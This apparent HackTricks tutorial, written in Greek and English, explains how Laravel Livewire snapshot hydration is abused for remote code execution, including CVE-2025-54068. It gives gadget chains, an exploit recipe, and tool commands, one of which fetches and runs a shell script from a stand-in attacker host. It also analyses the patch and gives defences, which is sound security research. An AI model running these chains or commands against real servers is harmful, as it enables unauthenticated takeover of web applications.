Laravel Livewire Hydration & Synthesizer Abuse
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ανακεφαλαίωση της state machine του Livewire
Τα Livewire 3 components ανταλλάσσουν την κατάστασή τους μέσω snapshots που περιέχουν data, memo και ένα checksum. Κάθε POST στο /livewire/update κάνει rehydrate το JSON snapshot server-side και εκτελεί τα queued calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Οποιοσδήποτε κατέχει το APP_KEY (που χρησιμοποιείται για να παραχθεί το $hashKey) μπορεί επομένως να κατασκευάσει arbitrary snapshots εκ νέου υπολογίζοντας το HMAC.
Οι complex properties κωδικοποιούνται ως synthetic tuples που εντοπίζονται από το Livewire\Drawer\BaseUtils::isSyntheticTuple()· κάθε tuple είναι [value, {"s":"<key>", ...meta}]. Ο πυρήνας του hydration απλώς μεταβιβάζει κάθε tuple στο synth που επιλέγεται στο HandleComponents::$propertySynthesizers και κάνει recursion πάνω στα children:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Αυτός ο αναδρομικός σχεδιασμός κάνει το Livewire μια generic object-instantiation engine μόλις ένας attacker ελέγχει είτε το tuple metadata είτε οποιοδήποτε nested tuple που επεξεργάζεται κατά τη διάρκεια της recursion.
Synthesizers που δίνουν gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Επειδή τα synths καλούν $hydrateChild σε κάθε nested element, μπορούν να χτιστούν arbitrary gadget graphs στοιβάζοντας tuples αναδρομικά.
Forging snapshots όταν το APP_KEY είναι γνωστό
- Capture ένα legitimate
/livewire/updaterequest και decode τοcomponents[0].snapshot. - Inject nested tuples που δείχνουν σε gadget classes και recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode το snapshot, κράτα
_token/memountouched, και replay το request.
Ένα minimal proof of execution χρησιμοποιεί Guzzle’s FnStream και Flysystem’s ShardedPrefixPublicUrlGenerator. Ένα tuple instantiates FnStream με constructor data { "__toString": "phpinfo" }, το επόμενο instantiates ShardedPrefixPublicUrlGenerator με [FnStreamInstance] ως $prefixes. Όταν το Flysystem κάνει cast κάθε prefix σε string, η PHP καλεί το attacker-provided __toString callable, καλώντας οποιαδήποτε function χωρίς arguments.
Από function calls σε full RCE
Εκμεταλλευόμενοι τα instantiation primitives του Livewire, οι Synacktiv προσάρμοσαν το phpggc chain Laravel/RCE4 ώστε το hydration να εκκινεί ένα object του οποίου η public Queueable state ενεργοποιεί deserialization:
- Queueable trait – οποιοδήποτε object που χρησιμοποιεί
Illuminate\Bus\Queueableεκθέτει public$chainedκαι εκτελείunserialize(array_shift($this->chained))στοdispatchNextJobInChain(). - BroadcastEvent wrapper – το
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) instantiates viaCollectionSynth/FormObjectSynthμε το public$chainedpopulated. - phpggc Laravel/RCE4Adapted – το serialized blob που αποθηκεύεται στο
$chained[0]χτίζειPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. ΤοSigned::__invoke()τελικά καλείcall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – δίνοντας ένα δεύτερο
FnStreamcallable όπως[new Laravel\Prompts\Terminal(), 'exit'], το request τελειώνει μεexit()αντί για ένα noisy exception, κρατώντας το HTTP response clean.
Automating snapshot forgery
Το synacktiv/laravel-crypto-killer πλέον παρέχει ένα livewire mode που συνδυάζει τα πάντα:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Το εργαλείο αναλύει το captured snapshot, εισάγει τα gadget tuples, επαναϋπολογίζει το checksum και εκτυπώνει ένα έτοιμο προς αποστολή /livewire/update payload.
CVE-2025-54068 – RCE without APP_KEY
Σύμφωνα με το vendor advisory, το issue επηρεάζει το Livewire v3 (>= 3.0.0-beta.1 και <= 3.6.3) και είναι μοναδικό στο v3.
Τα updates συγχωνεύονται στο component state αφού επαληθευτεί το snapshot checksum. Αν μια property μέσα στο snapshot είναι (ή γίνει) synthetic tuple, το Livewire επαναχρησιμοποιεί το meta της ενώ hydrating την attacker-controlled update value:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Βρες ένα Livewire component με untyped public property (π.χ.
public $count;). - Στείλε ένα update που θέτει αυτή την ιδιότητα σε
[]. Το επόμενο snapshot τώρα το αποθηκεύει ως[[], {"s": "arr"}].
Ένα minimal type-juggling flow μοιάζει ως εξής:
POST /livewire/update
...
"updates": {"count": []}
Έπειτα το επόμενο snapshot αποθηκεύει ένα tuple που κρατά το arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Φτιάξε ένα άλλο
updatespayload όπου αυτή η ιδιότητα περιέχει ένα deeply nested array που ενσωματώνει tuples όπως[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Κατά τη διάρκεια της recursion, το
hydrate()αξιολογεί κάθε nested child ανεξάρτητα, οπότε attacker-chosen synth keys/classes γίνονται δεκτά παρότι το outer tuple και το checksum δεν άλλαξαν ποτέ. - Επανχρησιμοποίησε τα ίδια
CollectionSynth/FormObjectSynthprimitives για να instantiate ένα Queueable gadget του οποίου το$chained[0]περιέχει το phpggc payload. Το Livewire επεξεργάζεται τα forged updates, καλείdispatchNextJobInChain(), και φτάνει στοsystem(<cmd>)χωρίς να γνωρίζει τοAPP_KEY.
Κύριοι λόγοι που αυτό δουλεύει:
- Τα
updatesδεν καλύπτονται από το snapshot checksum. - Το
getMetaForPath()εμπιστεύεται όποιο synth metadata υπήρχε ήδη για εκείνη την ιδιότητα, ακόμη κι αν ο attacker την ανάγκασε προηγουμένως να γίνει tuple μέσω weak typing. - Η recursion μαζί με το weak typing επιτρέπει σε κάθε nested array να ερμηνεύεται ως ένα ολοκαίνουργιο tuple, οπότε arbitrary synth keys και arbitrary classes τελικά φτάνουν στο hydration.
High-value pre-auth target: Filament login forms
Applications που είναι χτισμένες πάνω στο Livewire συχνά εκθέτουν μια ακόμη πιο εύκολη pre-auth επιφάνεια από ένα toy public $count; property. Για παράδειγμα, τα Filament login pages συνήθως hydrate ένα weakly typed $form object που ήδη serialized ως form tuple στο snapshot. Αυτό αφαιρεί πλήρως το βήμα “scalar -> array -> arr tuple”:
- Το snapshot ήδη περιέχει κάτι σαν
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Ένας attacker μπορεί να στείλει
updates.formμε nested malicious tuples απευθείας, επειδή η recursion τελικά θα reinterpret children όπως[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - Γι’ αυτό τα pre-auth Livewire entrypoints που εκθέτουν
FormObjectSynthobjects είναι ιδιαίτερα ελκυστικά: ήδη παρέχουν και instantiation και public-property assignment.
Patch analysis: preserve raw metadata during update recursion
Το fix εισάγει μια dedicated hydratePropertyUpdate() διαδρομή ώστε οι nested update values να μην καλούν πλέον το γενικό hydrate($child, ...) πάνω σε attacker-controlled children:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Επίδραση ασφαλείας του patch:
- Τα nested updates επαληθεύονται ξανά απέναντι στο αρχικό raw snapshot path αντί να εμπιστεύονται φρέσκα attacker-supplied tuple metadata.
- Το recursive hydration δεν επιτρέπει πλέον στα children να ξαναορίσουν
sήclassmid-flight. - Αυτό μπλοκάρει τόσο το arbitrary synthesizer switching όσο και το arbitrary class selection μέσα σε nested update arrays.
Livepyre – end-to-end exploitation
Livepyre αυτοματοποιεί τόσο το APP_KEY-less CVE όσο και το signed-snapshot path:
- Κάνει fingerprint την εγκατεστημένη έκδοση του Livewire parsing
<script src="/livewire/livewire.js?id=HASH">(ή?v=HASH) και αντιστοιχίζει το hash σε vulnerable releases. - Συλλέγει baseline snapshots επαναλαμβάνοντας benign actions και εξάγοντας
components[].snapshot. - Γεννά είτε ένα
updates-only payload (CVE-2025-54068) είτε ένα forged snapshot (known APP_KEY) που ενσωματώνει το phpggc chain. - Αν δεν βρεθεί parameter με object type σε ένα snapshot, το Livepyre κάνει fallback σε brute-forcing candidate params για να φτάσει σε a coercible property.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check εκτελεί ένα μη καταστροφικό probe, -F παραλείπει το version gating, -H και -P προσθέτουν custom headers ή proxies, και --function/--param προσαρμόζουν τη php function που καλείται από το gadget chain.
Defensive considerations
- Αναβαθμίστε σε fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) και αναπτύξτε το vendor patch για το CVE-2025-54068.
- Αποφύγετε weakly typed public properties σε Livewire components· τα explicit scalar types αποτρέπουν το να μετατραπούν οι property values σε arrays/tuples.
- Καταχωρήστε μόνο τα synthesizers που πραγματικά χρειάζεστε και αντιμετωπίστε τα user-controlled metadata (
$meta['class']) ως untrusted. - Απορρίψτε updates που αλλάζουν το JSON type ενός property (π.χ. scalar -> array) εκτός αν επιτρέπεται ρητά, και ξανα-παράγετε synth metadata αντί να επαναχρησιμοποιείτε stale tuples.
- Περιστρέψτε άμεσα το
APP_KEYμετά από οποιαδήποτε disclosure επειδή επιτρέπει offline snapshot forging ανεξάρτητα από το πόσο patched είναι ο code-base.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


